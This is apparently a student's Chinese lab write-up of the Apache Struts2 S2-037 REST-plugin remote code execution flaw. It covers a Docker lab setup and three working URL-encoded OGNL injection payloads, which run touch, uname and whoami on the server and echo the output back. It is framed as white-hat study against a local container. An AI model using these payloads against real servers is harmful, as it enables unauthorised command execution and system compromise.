Struts-s2-037
此文仅供大家交流学习,严禁非法使用
一、参考网址:
http://blog.csdn.net/qq_29277155/article/details/51672877
https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-033
二、 影响版本:
Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)
三、 漏洞介绍:
当使用REST插件启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。
四、 环境搭建:
(Linux)
使用的参考网址的docker搭建环境
- 拉取镜像到本地
$ docker pull medicean/vulapps:s_struts2_s2-033
- 启动环境
$ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-033
-p 80:8080 前面的 80 代表物理机的端口,可随意指定。
五、 POC:
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=touch%20/tmp/success
POC(回显)(这个不容易,网上找的都无法实现回显,我费事的参照其他漏洞的输出方式将结果回显的)
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%2C@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=uname
正规POC,后来找到的
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=whoami
六、 测试网址:
第一个POC执行过程:
原始网页:
http://ip:8000/orders/3/
修改后网址:
http://ip:8000/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=touch%20/tmp/success
七、执行结果
1.png八、 第二个POC执行过程
原始网页
http://ip:8000/orders/3/
修改后网址:
http://ip:8000/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%2C@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=uname
执行结果
3.png
九、总结
回头看来,因为我之前吧s2-037当成s2-033先验证了,而真正的s2-033一直验证不成功,直至我把s2-033验证成功发现,虽然两个很相似,前提同为REST插件启用动态方法调用,但s2-037好像并没有要求<constant name="struts.enable.DynamicMethodInvocation" value="true" />,因为我是验证了s2-037,s2-033没有成功,添加了<constant name="struts.enable.DynamicMethodInvocation" value="true" />这句话后,才成功验证了s2-033
十、 至此,该漏洞基本利用完毕
本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家
坚决做一名白帽子
网友评论